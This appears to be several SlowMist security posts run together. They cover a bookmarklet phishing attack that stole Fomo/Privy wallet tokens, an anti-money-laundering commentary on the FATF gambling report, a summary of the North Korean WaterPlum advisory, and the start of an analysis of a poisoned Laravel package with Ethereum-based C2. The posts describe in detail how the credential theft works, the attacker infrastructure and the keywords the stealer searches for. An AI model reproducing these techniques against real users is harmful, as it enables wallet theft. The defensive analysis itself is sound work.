慢雾 SlowMist

一、背景
近期慢雾安全团队收到一位 Fomo 用户的求助。用户反馈，他在 Fomo 网页端查看 MOONLET 代币详情时，点击了页面展示的项目官网入口，进入 voltage.family，并按提示完成“人机验证”，随后发现账户内约 4.8 万美元资产被转走。整个过程中，他没有连接钱包、进行链上授权，也没有输入助记词或私钥。该用户通过 Google 登录 Fomo，称账号未开启二次验证。
接到反馈后，慢雾安全团队对相关页面及脚本展开分析，发现所谓的“人机验证”会引导用户添加并点击恶意书签。书签内嵌 JavaScript 代码，目标是在 Fomo 页面中读取浏览器存储、提取登录令牌，并将数据发送至外部地址。
本文围绕钓鱼页面和脚本还原攻击过程，重点分析恶意书签如何窃取嵌入式钱包的访问凭证。
MistEye 响应
MistEye 是由 SlowMist 自主研发的 Web3 威胁情报与动态安全监控系统，集成了安全监控与情报聚合能力，为用户提供实时的风险预警与资产守护。
MistEye 已第一时间通过情报推送与客户告警通道同步风险。
二、钓鱼分析
钓鱼入口来源
根据用户补充的截图，当时他正在查看 Fomo 上的 MOONLET 代币详情页。红箭头标出了代币名称旁的官网入口，右侧项目介绍区域也有“官网”按钮。结合用户反馈，本次访问钓鱼站点的入口来自该代币详情页展示的外部链接。
伪造人机验证
用户访问的站点为 voltage.family。进入 /app 页面后，页面展示九个图标，要求用户找到“四条腿的动物”，将其拖到浏览器书签栏，再连续点击该书签三次。拖拽时，页面还会显示操作引导，让用户误以为这是正常验证步骤。
最终添加的书签名为 Triple click to verify。它保存的并非普通网页地址，而是一段以 开头的代码，即 bookmarklet。用户点击这种书签时，代码会在当前页面中执行；攻击者正是借此诱导用户在已登录的 Fomo 页面运行恶意脚本。
这种通过恶意书签在目标页面执行 JavaScript 的攻击方式并不陌生。此前，慢雾安全团队也曾分析过一起 Discord Token 窃取案例，详见《慢雾：揭露浏览器恶意书签如何盗取你的 Discord Token》（https://mp.weixin.qq.com/s/2RjEgv9lp6e01ah2t6DX4w）。
恶意书签投递
页面上的动物图标会随机出现，但用户选哪个图标并不影响最终添加的恶意书签内容。fomo-track.js 读取页面内嵌的 BMCODE，替换访客标识后，将所有 a.mini-bookmark 元素的 href 设置为同一段书签代码（以下为样本原文，已省略外层取值与判空逻辑）：
替换动作会在页面 DOM 变化、定时器触发、鼠标按下和拖拽开始时反复执行，以覆盖页面原本的书签链接。正常加载页面时，九个图标均指向这段代码。所谓“识别动物”，实际是在为恶意书签的投递提供借口。
验证后的 /app/live 页面继续模仿交易终端。界面注明市场数据为模拟数据，连接钱包按钮仅弹出提示。结合前面的引导过程，这些页面主要是为了把钓鱼站点伪装得更可信。
本地数据采集
书签代码压缩后有八千多字符。最外层使用 location.hostname.includes("fomo.family") 判断当前页面主机名，符合条件才继续执行。这里用的是字符串包含判断，而不是严格域名匹配，因此凡主机名中包含 fomo.family 的页面都可能满足条件，不能理解为只会在 fomo.family 及其合法子域下执行。
这也说明，单纯打开钓鱼网站并不等于已经执行了后续采集逻辑。脚本需要在符合条件的页面上下文中运行，才能读取该页面可访问的存储。
采集函数 v() 首先遍历 localStorage 和 sessionStorage。它按键名匹配 privy、wallet、share、secret、seed、mnemon、turnkey、dynamic、fomo、mfa 等关键词；键名未命中时，再检查值的前 300 个字符。命中的数据最多保留 4000 个字符，存入对象 o。
随后，脚本调用 indexedDB.databases() 获取当前上下文可访问的数据库，逐一遍历 object store，通过 getAll() 读取记录，并按“库名/表名”保存。该流程设置了 4 秒超时，避免单个采集步骤长时间阻塞。
采集范围同时覆盖登录凭证和钱包相关数据。在嵌入式钱包场景下，这些数据可能涉及钱包访问、恢复和密钥材料；一旦泄露，攻击者可能进一步控制钱包。
登录凭证提取
脚本优先查找 privy:token 和 privy:refresh_token，并通过 y() 处理可能包裹在 JSON 中的 token 或 accessToken 字段。如果没有找到固定键名，则逐步放宽匹配范围，查找其他 token 字段，同时排除 id_token、identity 等不属于目标令牌的字段。最后，脚本还会尝试从值中提取以 eyJ 开头的 JWT 片段。该兜底方式只能选出疑似令牌，并不保证结果有效。
TOTP 注册
取得访问令牌后，脚本携带 Bearer 令牌、Privy 应用 ID 和客户端 ID，请求 https://auth.privy.io/api/v1/users/me，并读取响应中的 mfa_methods（或 mfaMethods）字段，以判断账号已绑定的二次验证方式；该数组是否为空，直接决定后续 MFA 分支是否执行。脚本同时包含返回 401 时借助刷新令牌重试请求的处理。
脚本还包含收到 401 后向 /sessions 提交刷新令牌的逻辑：以 refresh_token 为请求体，代码先对响应调用 .json() 解析，再取其中的 token 字段作为新的访问令牌，取得后重新请求 /users/me（在 MFA 事件通道中捕获到 unauthorized／401 时，也走同一条刷新路径重试）。
与 MFA 相关的代码会创建一个 4×4 像素、透明度为 0.01 的 iframe，加载 Privy 的 embedded-wallets 页面，再通过 postMessage 发送事件请求。消息按随机请求 ID 对应，默认等待 6 秒；就绪检查以 100 毫秒为间隔，最多等待 8 秒。
脚本尝试以 TOTP 为方法初始化注册，并从响应中提取 secret 或 totptSecret。若取得密钥，它会在本地按 30 秒时间步长、HMAC-SHA1 和动态截断计算六位验证码，再提交注册请求。该逻辑的意图是将攻击者掌握的 TOTP 密钥用于账户验证。
这里需要区分“发起注册”与“注册成功”。初始化返回密钥，不代表服务端已经完成绑定；脚本将包含 already、exist、enrolled、duplicate 等字样的错误视为可继续处理，也不能证明新密钥已生效。
代码中，这段 MFA 逻辑的触发条件很明确：只有当 /users/me 返回的 mfa_methods 非空，也就是账号已绑定至少一种二次验证方式时，脚本才会创建 iframe、调用 privy:mfa:init-enrollment 获取 TOTP 密钥并提交注册；如果该数组为空，整段 MFA 逻辑都不会执行。用户称其账号原先未开启二次验证，因此这部分很可能没有触发。但这不影响本地数据和凭证的采集、外传，因为 ls 与 idb 是独立通道。另需注意，发起注册不等于注册成功，是否真正绑定仍需服务端记录确认。
登录凭证泄露如何危及钱包资产
本次攻击针对的是用户已登录的 Fomo 页面及其嵌入式钱包访问凭证。恶意书签执行后，会采集 Privy 访问令牌、刷新令牌及钱包相关本地数据，并发送至攻击者控制的地址。这些凭证涉及钱包的访问与恢复流程，泄露后可能被用于接管钱包，进一步导出私钥或发起交易。因此，即使用户没有主动连接钱包、签署链上授权或输入助记词，也可能面临资产被盗的风险。当前展示的脚本主要负责采集和外传，后续具体采用哪条路径完成资产转移，还需结合进一步的调查结果确认。
数据外传
发送前，脚本把采集结果组织为 ls、idb 和 mfa 三部分，分别对应 localStorage、IndexedDB 记录以及 MFA 方法和处理结果。再进行 base64url 编码。编码后超过 11000 个字符时，脚本先删减 IndexedDB 记录，保留与 privy、share、wallet、key、secret 相关的内容；若仍超限，则将本地存储部分缩减为 privy:token、privy:refresh_token 和 mfa-session-storage 三个关键字段。流程另设 20 秒兜底发送，避免一直等待采集结束。
外传目标为 noisy-heart-5856.zmfkc29.workers.dev。脚本采用两种方式发送：一是在取得 TOTP 初始化密钥后，通过 fetch 提前发送，密钥放在 initsecret 参数中；二是通过 location.href 跳转，把令牌、采集数据以及脚本保留的 TOTP 密钥放入 URL 参数。
t：访问令牌；r：刷新令牌；vid：访客标识；site：站点标识；Is：经 base64url 编码的采集数据；initsecret：初始化阶段取得的 TOTP 密钥；totp：脚本最终保留的 TOTP 密钥。
对该地址进行非破坏性测试时，根目录、未知路径以及携带凭证参数的请求都返回 302，并跳转回 voltage.family；POST /visit 返回 204。该响应符合“接收数据后把用户送回钓鱼站点”的设计，但仅凭响应本身无法确认服务端是否保存了数据。
fomo-track.js 开头还保留了一段注释，描述 tracker → Cloudflare Worker → panel → Telegram 的数据链路，并称复用了旧验证页的中继。这属于样本作者留下的线索，尚未获得后台面板或 Telegram 侧证据支持。
/* voltage tracker -> cloudflare worker -> panel -> telegram
(same relay the old captcha page uses; no keys in this file) */
综合页面和代码，可以还原出诱导添加书签、在目标页面执行脚本、采集存储、提取令牌、尝试 MFA 操作及外传数据的链路。凭证是否被实际重放、后续交易由谁发起，仍需结合服务端日志和链上记录核实。
三、MistTrack 资金分析
根据受害者提供的信息，共 45,106.85 USDC 被黑客分三次提现到黑客地址 D783JqupQ2FYhkxUfGEd1gaFEoAJDXRX1NEb4aVH2hZ6，我们使用慢雾旗下链上追踪 & 反洗钱工具 MistTrack 对该地址进行反洗钱分析。
黑客地址(D783Jq…hZ6) 从 9 月 17 日开始活跃，在受害者资金进入前，该地址已经存在较为频繁的 USDC ↔ SOL 资金交互，推测存在其他受害者。
链上可以观察到多笔金额相近的 USDC 兑换为 SOL，也存在反向兑换 SOL → USDC，兑换多数通过 Jupiter Aggregator 完成。兑换后的 SOL 并未长期留存在该地址，而是被进一步发送至大量不同的中间地址，例如 HGSe...Ucim、3XyKap...gXVj 等地址。同时，也可以观察到部分 USDC 被直接拆分发送至多个地址，例如向 HGSe...、2th9... 等地址连续转出多笔 USDC 和 SOL。
该地址还通过 Relay.link 将 SOL 转换为其他链上的资产，例如：
0.6 SOL → 0.024 ETH，目标 Ethereum 地址 0x77bd56dfef9530ba61962a420e34a0dbd55de51c；
0.59 SOL → 0.025 ETH，目标同一 Ethereum 地址；
0.29 SOL → 0.012 ETH，目标同一 Ethereum 地址；
0.29 SOL → 0.00039 BTC，进入 Bitcoin 地址 bc1q6j54xfvlgqjw6mq2ja3pym3qrezp8k39aeftxh
除向外跨链外，该地址还接收了通过 deBridge 跨链转入的资金。其中，一笔由 Robinhood 链上的 USDG 兑换为 Solana上的 USDC，另一笔由 BNB Chain 上的 USDC 跨链转入。
该地址向 Privacy Cash Pool 共转入 1568.33 SOL，也是该地址最主要的洗钱出口：
此外，部分资金最终流向博彩平台相关地址。例如，该地址曾将部分 USDC 兑换为 SOL 后转入 Stake 平台，也有部分 SOL 直接转入 Stake 平台。
再如，后续资金还多次进入 Winna 相关地址，包括向 Winna deposit 地址转入 11.34 SOL 和 1,500 USDC，以及从 Winna hot wallet 接收 7,199.81 USDC。
从 D783Jq…hZ6 的整体资金行为来看，该地址呈现出较为明显的多层拆分、资产兑换、跨链转移和平台充值特征。我们将持续关注相关地址的后续资金转移。
四、IOC
钓鱼页面与数据外传
hxxps://voltage[.]family/app
hxxps://voltage[.]family/app/live
noisy-heart-5856[.]zmfkc29[.]workers[.]dev
样本 SHA256
index.html
24df225d70e399fa30a2d0761e8645e339d99a0f751af6f9e5e00ab555e2fa07
fomo-track.js
6d771096e442b36b0719a4e07b19c62a5a985005e8a07ab5d50dd6ca59c4ad06
VerifyRoute
d5576bb50cb299d0c48657ed0cfd3f03b4c2313db8b37abcee57f779d70f7f18
LiveTerminal
193b305baf9548a6dded341f3dd613a811e4604c7dfa4447219664f6c43818f8
五、总结
本次分析发现，攻击者将恶意 JavaScript 包装成浏览器书签，并用“人机验证”引导用户在已登录的 Fomo 页面执行。其目标包括 Privy 登录凭证和钱包相关本地数据，风险涉及嵌入式钱包控制权及资产安全。用户没有主动输入私钥或签署链上授权，并不意味着钱包未受影响。
从样本看，攻击者通过恶意书签采集并外传凭证，为后续接管钱包提供条件。用户反馈损失约 4.8 万美元；本次事件最终通过私钥导出还是钱包签名等方式完成转移，仍需进一步核实。
给用户的建议
正常的人机验证不需要把网页图标拖进书签栏，再到钱包或交易页面点击执行。遇到这类要求，应立即停止操作。定期检查书签栏，删除来历不明的 书签，并为重要账号开启平台支持的多因素验证。
如果已经执行过可疑书签，应从可信设备访问官方渠道，优先撤销异常会话和相关授权，检查并移除陌生的验证器，同时联系平台协助处置。通过 Google 等第三方身份登录的用户，也应检查对应身份账号的安全状态。不要只依赖修改密码，现有会话和刷新令牌是否同步失效，需要以平台的实际机制为准。
如有证据表明助记词或私钥已经泄露，应使用全新生成的钱包转移剩余资产。保留可疑页面地址、书签内容、操作时间和交易记录，有助于后续调查。
给项目方的建议
对 MFA 新增、替换、恢复以及资金转移等敏感操作设置独立的验证和风控要求，避免只凭已有会话就完成安全设置变更。向用户提供会话查看与撤销入口，对异常设备、来源和 MFA 变更及时告警，并确保服务端能够按需撤销相关凭证。
同时检查客户端存储的敏感数据范围，减少长期有效凭证的暴露。对外链、用户生成内容及站内引导加强审查，明确提醒用户不要在已登录页面执行陌生书签或代码。若发现类似页面，可保留线索并向慢雾安全团队反馈。
关于 MistEye
MistEye 是由 SlowMist 自主研发的 Web3 威胁情报与动态安全监控平台，通过 API 提供开源包生态的恶意活动检测与供应链风险预警能力。
本次行动涉及的全部恶意包及 IOC 已接入 MistEye 威胁检测引擎，开发者可通过 API 对项目依赖进行自动化检测，快速判定是否命中已知恶意包并获取处置建议。
📖 API 文档：https://app.misteye.io/api-docs
🛠️ MistEye-DepScan：https://github.com/slowmist/MistEye-DepScan轻量级 CLI 工具，一行命令扫描项目依赖与全局安装包中的已知恶意包，支持 npm / PyPI / Cargo / Go / RubyGems 生态
🛠️ MistEye-Skills：https://github.com/slowmist/misteye-skillsAI 编码助手安全技能包，在依赖安装与 URL 访问前自动触发 MistEye 安全检测
🛠️ MistEye-DNS-Guard：https://github.com/slowmist/MistEye-DNS-GuardDNS 安全防护工具，检测恶意域名与风险访问，识别钓鱼、C2 等网络威胁
本文由 SlowMist 威胁情报团队结合 MistEye 威胁情报系统、SlowMist Agent AI 驱动分析编写，有任何问题欢迎咨询反馈。

2026 年 9 月，金融行动特别工作组(FATF) 发布《Risks of Gaming and Gambling》专题报告，对赌场、体育博彩、其他博彩以及在线游戏等领域面临的洗钱、恐怖融资和扩散融资风险进行了系统分析。
这份报告的价值，不在于将所有游戏和博彩活动一概视为高风险，而在于揭示一个更值得虚拟资产服务机构关注的变化：当线上化、跨境化、多产品和多支付方式叠加时，游戏和博彩平台正在成为更广泛价值转移生态的一部分。对交易所、VASP，以及提供加密支付等服务的虚拟资产服务机构而言，来自该生态的资金不应只被理解为一笔“博彩交易”，还应被置于完整的资金关系中审视。
FATF 在报告中梳理了大量具体的风险指标，涵盖客户与账户行为、投注模式、支付与交易活动，以及平台和业务模式等多个维度。本文将重点选取其中与资金流转和链上风险识别直接相关的部分展开分析；对于完整的风险指标框架及具体案例，读者也可以进一步参考 FATF 原报告。
报告链接：https://www.fatf-gafi.org/content/dam/fatf-gafi/publications/risks-of-gaming-and-gambling-2026.pdf.coredownload.pdf
博彩风险的核心：资金“进、转、出”
传统理解博彩被用于洗钱的方式为资金进入平台，经过少量或看似正常的博彩活动后，再以另一种形式退出。FATF 此次列出的危险信号(Red Flag)，正将关注点放在这类与正常业务目的不相称的资金模式上。
例如，大额资金存入后，只有极少或没有博彩活动便迅速提现；多个不同来源的小额资金被归集成较大金额后提现；资金快速提往不同账户或受益人；账户使用多种支付方式，或由与账户持有人关系不清晰的第三方充值。
这些信号并不证明客户一定从事非法活动。它们提出的是一个更具体的问题：平台是否被用于正常博彩，还是被利用来完成资金的进入、转换和退出？
一笔资金进入平台、少量下注、再从另一账户提出，单看每一步都未必异常；但把充值、投注、提现、账户关系和支付渠道放在一起，交易的意义就可能改变。
风险如何传导至虚拟资产生态
FATF 指出，游戏和赌博行业正在与现金、银行卡、银行转账、虚拟资产、移动支付以及第三方中介等多种价值转移方式连接。线上化和跨境化进一步降低了资金流转的空间限制，也使不同平台、账户和服务之间的关系更加复杂。
尤其值得关注的是，FATF 将虚拟资产明确列为游戏和赌博行业使用的支付方式之一，并指出包括虚拟资产在内的部分支付方式可能支持快速、匿名和跨境的价值转移。
这意味着风险并不一定停留在博彩平台内部。当资金通过虚拟资产进入或离开博彩生态后，相关风险可能进一步出现在交易所、支付机构以及其他虚拟资产服务平台。
但对于虚拟资产服务机构而言，客户地址与博彩平台发生交易，或命中博彩相关风险标签，并不意味着资金一定涉及违法活动。FATF 也强调，单一风险指标本身不能证明存在洗钱、恐怖融资或扩散融资活动。
真正需要关注的是，这种关联在完整资金关系中意味着什么。例如，一个地址可能与博彩实体存在间接关联，但其风险判断还需要结合跳数、金额及占比、交易频率、客户背景以及历史行为等信息；反过来，如果忽略与高风险或无牌平台之间的资金关联，也可能遗漏值得进一步调查的风险信号。
这一思路与我们此前对 OKX 风控实践的分析具有一定共通性：交易所面对高风险资金时，需要关注的不只是单笔交易是否命中某个风险标签，还包括资金来源、交易对手、直接或间接暴露以及资金路径等信息。
如果想进一步了解交易所如何从资金来源和交易暴露的角度识别高风险资金网络，可参考我们此前的文章：从“谁在充值”到“钱从哪里来”：OKX 风控策略背后的链上资金来源风险
因此，对于这类跨平台、跨业务场景的风险，更有价值的分析路径是：
客户是谁 → 资金从哪里来 → 与哪些实体发生过交互 → 资金经过哪些地址 → 是否存在持续的异常行为 → 当前交易与历史活动是否一致。
将这些信息结合起来，才能从单一风险标签进一步还原资金关系，并形成更可解释、可复核的风险判断依据。
从一次性筛查走向持续的风险管理
在实际业务中，筛查、调查与持续监控需要彼此衔接。
机构可以先通过地址和交易筛查识别已知风险实体或风险类型，再结合客户资料、资金来源、链上交易对手和资金路径开展进一步调查。在证据和适用规则支持的情况下，再决定是否需要增强型尽职调查(EDD)、限制措施或报告。
对于持续监控的业务，则需要关注新的高风险对手方、异常资金归集、快速分散转移，以及与客户既有行为不一致的交易模式。
这并不是 FATF 为所有机构规定的唯一流程，而是一种风险为本的实践思路。其核心是让每一次升级处置都能够说明：触发了什么信号、核实了什么信息、发现了怎样的资金关系，以及为什么采取相应措施。
这样既有助于减少仅凭单一标签产生的误判，也便于内部复核、审计和后续合规留痕。
链上分析工具如何提供支持
链上分析工具不能替机构作出最终合规结论，但能够为上述流程提供结构化证据。
以 MistTrack 为例，其风险筛查可返回关联风险实体标签、风险类型、直接或间接暴露、跳数、资金路径、关联交易量及其占比；其中风险类型包含赌博。这些信息有助于将“与博彩实体有关联”的笼统信号拆解为更具体的风险事实。
在初步筛查之后，风控团队还可利用风险图谱与交易对手分析，查看目标地址关联风险地址的路径、转入转出关系、带标签的对手方、累计金额及其占比。
对于需要持续管理风险的业务，MistTrack 还提供监控地址、交易风险监测、触发告警等能力。
将这些能力嵌入业务流程时，关键不在于把风险评分当作自动拒绝或自动放行的开关，而在于让评分、标签、路径和交易行为共同服务于人工复核及风险为本的决策。
结语
当链上风险信息与客户尽调、交易行为及内部处置流程结合起来，机构才能从单点筛查进一步走向对资金关系和风险网络的持续理解，并形成更可解释、可复核的 AML/KYT 风险管理能力。
目前，MistTrack 的分析能力已覆盖 19 条主流区块链、100+ Token、18 种稳定币、积累 5 亿+ 实体地址标签、10,000+ 实体，50 万 + 威胁情报数据，25 类风险类型，为链上风险识别和资金分析提供底层支撑。
基于八年来在链上安全与威胁情报领域的积累，MistTrack 已服务超过 500 家机构客户，包括加密货币交易平台、加密基金、DeFi 平台、跨链桥、跨境支付平台等，并曾获得香港资讯及通讯科技奖(HKICT Awards) 颁发的金融科技 FinTech (RegTech: Regulatory and Risk Management) 金奖。
如果您正在关注如何将链上风险识别能力应用于您的业务场景，欢迎联系我们获取进一步信息。
网站：https://misttrack.io/
邮箱：support@misttrack.io
表单：https://kyt.slowmist.com/cn/get-started.html

9 月 18 日，日本警察厅联合国家网络统筹室，以及美国 FBI、美国国防部网络犯罪中心、澳大利亚信号局/网络安全中心、德国联邦情报局和联邦宪法保卫局，六方一起发了份联合报告，主角是一个朝鲜背景的黑客组织——WaterPlum（又称"Contagious Interview"，直译"伪装面试"）。
Contagious Interview 这一攻击活动此前已被多家国际安全厂商追踪多年，常被认为与朝鲜的 Lazarus Group 存在关联，这次是日本警方首次以官方名义、联合多国机构披露本国的具体案例和缴获证据。
报告链接：https://www.npa.go.jp/bureau/cyber/pdf/20260918_j.pdf
核心数据
攻击是怎么发生的
WaterPlum 的套路核心其实不复杂：冒充招聘方。
第一步：诱饵投放
WaterPlum 会在社交媒体、招聘网站、零工平台、自由职业者市场上主动联系 IT 技术人员，尤其盯上 Web 开发者和加密货币/区块链圈的工程师。伪装身份可以是 AI 公司、加密资产公司、NFT 项目方，也可以是猎头。
第二步：技术面试陷阱
接触到目标之后，套路一般是这样：约你参加一场"技术面试"，或者给你一个编程测试题。做题过程中，对方会让你从 GitHub 之类的代码仓库下载一个"项目文件"，理由通常是"帮忙修一下这个视频会议工具的 bug"，或者"按这个模板把测试题做完"。
这个文件，往往就是恶意程序。
第三步：恶意软件部署
警方在报告里点名了几款相关的恶意软件：BeaverTail、InvisibleFerret、OtterCookie、OtterCandy、StoatWaffle。
值得一提的是，有一款叫 StoatWaffle 的恶意软件会伪装成区块链相关的项目仓库，专门通过一个叫.vscode/tasks.json 的 VS Code 配置文件来自动执行代码。也就是说，你只要打开这个项目文件夹并选择"信任"，代码可能就已经在后台跑起来了，根本不用你手动点运行。
警方也特别提醒：收到不熟悉的 VS Code 项目，一定要用"受限模式"打开。弹出"是否信任此文件夹的作者"这个提示时，选"否"就能避开这个坑；同时也别把陌生项目丢进自己之前已经设为"信任"的文件夹里，也别为了图方便把 workspace trust 这个安全设置关掉。
第四步：数据窃取与横向移动
这些恶意软件被藏进伪装成正常代码库的 NPM 包里，一旦执行，就会在电脑里装后门、连上远程服务器，然后开始搜刮各种敏感信息：浏览器里存的账号密码、剪贴板内容、键盘记录、屏幕截图、加密钱包的私钥和助记词，还有身份证件的照片（驾照、护照这类）。
被偷走的账号密码，不只是拿去卖钱那么简单。警方指出，攻击者会拿这些窃取来的凭据，反过来打进受害者所在企业的内部网络，进行更深层的渗透，比如窃取知识产权、在企业环境里进一步横向移动。而偷来的身份证件照片，还可能被朝鲜 IT 劳动者拿去冒充身份，混入海外求职市场赚外快。
从 2025 年 12 月到 2026 年 7 月这段时间，警方掌握的数据是：全球 100 多个国家和地区里，至少 3 万台电脑中招，超过 7000 个加密钱包信息被偷，流入 WaterPlum 控制钱包的资产至少约 17 亿日元（折合 1071 万美元左右）。
日本首次端掉的"笔记本农场"
这份报告里最值得关注的一块，其实不是恶意软件本身，而是警方第一次在日本国内查获并拆解了一个"笔记本农场"(Laptop Farm)。
简单说就是：朝鲜 IT 劳动者人不在日本，但他们说服（或收买）了住在日本的某个人，在这个人家里放一台电脑,然后远程操控这台电脑干活。对外看起来，这份工作是"日本本地人"接的单，实际操作的人可能远在朝鲜、中国或俄罗斯。
这个日本境内的配合者（报告里管他叫"支援者"）干的事情包括：提供住处放电脑、提供网络、甚至把自己的身份证件给朝鲜劳动者用来冒名接活。有的情况下，支援者接的单子直接被朝鲜劳动者"借壳"完成；有的则是支援者自己的银行账户被指定为收款账户，钱转进来之后再想办法弄出去。除此之外，他们也会用支援者代为租用的 VPS 服务器，进一步掩盖真实的作业地点。
警方查明，通过这类手法，朝鲜 IT 劳动者已经把数亿日元规模的加密资产等汇到了境外，而且警方在报告里明确写了这笔钱的去向：用于武器开发等用途。同时，报告也明确警告：向朝鲜 IT 劳动者发包并支付报酬，可能违反国内法律和对朝制裁。
bitFlyer 事件：朝鲜 IT 劳动者渗透日本加密货币交易所
2025 年 5 月，日本加密货币交易所 bitFlyer 收到了一份工程师岗位的求职申请。这份申请后来被证实大概率来自朝鲜 IT 劳动者，整个过程也被写进了这次报告，算是一个很生动的案例。
这名应聘者没走任何中介，直接通过公司官网投的简历，联系邮箱用的是 Gmail，登录求职系统时挂着 VPN（NETNUT Proxy、Astrill VPN、High Speed Rabbit Proxy 这几个都被点了名）。简历上写的技能相当"全面"：十几种编程语言都懂，区块链、云服务样样精通，学历是欧洲某大学毕业，之后又辗转多个国家工作过。
bitFlyer 留了个心眼，安排了视频面试。面试中出现的一系列细节，现在回看相当典型：应聘者外貌看起来像亚洲人，但自称是马来西亚裔、常年住在芬兰，母语说是马来语和中文。整场面试用英语交流，但英语水平明显撑不起简历上那份学历和履历。问到简历上写的具体技能时，简单问题还能答上来，稍微深入一点就开始打太极，答得很空。
除此之外，可疑的细节还有：一提到要搬来日本上班就推三阻四，或者说"半年以后再看"；坚持要求薪水用加密货币支付；面试过程中老是往旁边另一块屏幕瞟，像是在照着念答案；背景里时不时能听到别人说话的声音；视频画面还老卡顿、跳帧。
bitFlyer 最终判断出了问题，没有录用这个人。bitFlyer 也被列入此报告的致谢名单。
WaterPlum 与朝鲜 IT 劳动者的关联性
日本警察厅和 FBI 在报告里给出了一个明确判断：WaterPlum 的网络攻击活动，和部分朝鲜 IT 劳动者的创汇活动，背后都是朝鲜劳动党中央委员会军需工业部第 313 总局在指挥。
支撑这个判断的一个关键证据是 IP 地址的重合：WaterPlum 攻击者用过的 IP、朝鲜 IT 劳动者连接笔记本农场和众包平台用的 IP、以及那名应聘 bitFlyer 的朝鲜劳动者登录求职系统时用的 IP，几处对上了号。
通报里还顺带披露了一些 WaterPlum 成员日常工作状态的细节，例如：他们会用一款叫"Magicam"的 AI 换脸软件来应付视频面试，但一般只敢用个几分钟，然后就借口"网络不好"把摄像头关掉。碰上朝鲜的某个纪念日，上头会特批一段时间玩游戏（主要是模拟经营类），也有人被拍到在看足球比赛视频。日常还会用"NaturalReader"这类语音朗读软件练日语发音，翻译和 AI 工具基本都用免费版。
能做点什么
对普通的 IT 从业者，尤其是自由职业者来说，最实用的几条建议是：
不要在处理工作或加密资产的电脑上随便跑陌生人给的代码，实在要测试就放到虚拟机里跑；碰到脚本里出现 curl、base64、mshta、Invoke-WebRequest 这类命令，先别急着执行，搞清楚它到底在干什么再说；一旦杀毒软件报警，第一反应是断网，而不是删了病毒就当没事，因为很可能在被发现之前，信息已经被偷走了；钱包类的资产建议尽快转移到新钱包，助记词手写保存，别再存在电脑里；条件允许的话，直接重装系统更保险。
对企业招聘和外包团队来说：
短时间内某个冷门岗位突然收到一堆简历要多留个心眼；简历上技能列得特别全的候选人，面试时不妨多问几个具体问题，看他是真懂还是背的；坚持要用加密货币发薪水、坚持不肯来现场、要求把钱打到别人名下账户，这些都是值得多问一句的信号；聊几句候选人所在地天气、生活习惯之类的闲话，有时候比考技术题更容易露馅。
总结
这份报告并不仅仅是又披露了一个朝鲜背景的恶意组织，而是展示了一种越来越复杂的攻击模式：攻击者可以从招聘信息进入个人终端，从个人终端进入企业网络，再通过窃取的凭据和加密资产钱包实现直接变现；与此同时，另一套身份伪装和 Laptop Farm 基础设施又可以帮助相关人员进入海外 IT 劳务市场。一边靠钓鱼窃取加密资产，一边靠伪装身份混进海外劳务市场，两条线互相交织、互相打掩护。
对个人和企业来说，警惕心不能只放在"防病毒"上，招聘、外包、身份核实这些环节同样需要纳入安全考量。报告最后强调，未来攻击方式将继续演变和复杂化。企业和个人应持续关注国内外安全机构的预警信息和安全厂商发布的报告。

背景
样本来自 Laravel Nova 扩展包 `visanduma/nova-two-factor` 的一个开发分支，归属于 PolinRider 活动。这是一个 PHP 包，发布在 Packagist 上，截至本文分析时累计下载量已超过 70 万次。
投递链不把 C2 地址写进样本。植入代码先查询以太坊，从一笔交易的接收地址里解出两台服务器的 IP，再通过 HTTP 取回后续载荷。攻击者要换服务器，只需在链上发一笔新交易，不必重新投毒这个包。
这条链的终点是一份跨平台凭据窃取器，采集浏览器账号与 Cookie、加密钱包数据、密码管理器数据库和开发凭据。
本次取得的远端载荷由本轮实际请求取得并离线解码，解码只做 XOR、zlib 与 base64 变换，未执行任何下载内容。分析结论来自静态代码与远端响应，尚无受害端证据证明这些窃取行为已成功发生。
MistEye 响应
MistEye 是由 SlowMist 自主研发的 Web3 威胁情报与动态安全监控系统，集成了安全监控与情报聚合能力，为用户提供实时的风险预警与资产守护。
MistEye 已第一时间通过情报推送与客户告警通道同步风险。
以下为详细技术分析。
攻击链
上图是依据代码与抓取结果还原的关系图。
从一行配置到链上定位
植入代码藏在配置文件的末尾。文件前 10 行是正常的 Tailwind 配置，第 11 行以正常的 }; 收尾，随后是 507 个空格，空格之后才开始执行代码。这一串空格能让窄窗口只显示看似正常的结尾，但并没有改变 JavaScript 的执行语义，给 module.exports 赋值不会终止模块执行。触发点也在样本里：package.json 的 development、watch、production 等脚本都指向 Laravel Mix，webpack.mix.js 把 tailwind.config.js 作为配置路径传给 PostCSS 插件，Tailwind 3.1.8 在 setupTrackingContext.js 中通过 require(userConfigPath) 读取该配置，这一步会执行配置模块的顶层代码。
加载器通过以太坊交易获取当前 C2 地址。攻击者将两个 IPv4 地址编码在交易接收地址中，样本从固定发送地址的交易里提取这些信息，再通过 HTTP 下载后续载荷。这样，攻击者可以发布新交易来更新投递服务器地址，无需修改已经植入的配置文件。
植入代码先初始化自己的全局变量，再执行链上查询。查询读的是交易的 to 字段：去掉 0x 前缀按十六进制还原成 20 字节，前 4 字节是一个 IPv4，第 4 到 8 字节是第二个，剩下 12 字节这段代码不用。本轮实际解出的结果是 166[.]88[.]134[.]75，两个 IP 相同，尾部 12 字节是明文标记 helloipbot!!。
加载器围绕每千个区块的边界查询候选交易，从这些交易里取出编码的 C2 地址。链上数据显示这套查询依赖攻击者维持心跳：每个千位边界附近都有一笔新交易，本轮拉取的 392 笔全部是零转账、空 calldata，gasUsed 都是 21000，唯一携带的信息就是 to 地址本身。地址还会定期更换，最近五个周期依次对应 166[.]88[.]134[.]62、23[.]27[.]13[.]135、166[.]88[.]73[.]46、193[.]247[.]144[.]38，以及本轮的 166[.]88[.]134[.]75。
定位完成后，代码向解出的 IP 的 443 端口发起请求，取回 /0x/cls 与 /0x/ls 两条路径。这里有一个容易被端口号带偏的细节：URL 的 scheme 是 http:，调用的是 http.request，443 只是端口，没有 TLS。两条载荷经循环 XOR 解码后交给同一个执行函数，在脱离的 Node 子进程中运行。/0x/cls 那一路还会在起子进程之前，先在当前进程里求值一次；若这次求值抛错、退出进程或一直不返回，后面的子进程就不一定到达。
值得一提的是，我们使用 MistTrack 对恶意地址 0xa322e5f3d311d3080e6f0121063e9adc2490ef1a 进行分析，其初始资金来自 FixedFloat。
三件工具，三种职责
两条加载路径最终对应三个组件，接口数量多于组件数量，因为部分接口用不同编码或备用路径提供同一份内容：/0x/clb 响应中的 body 字段与 /0x/cb 响应正文，经各自解码后得到相同代码；/0x/js 与响应里的 inz 字段逐字节相同。
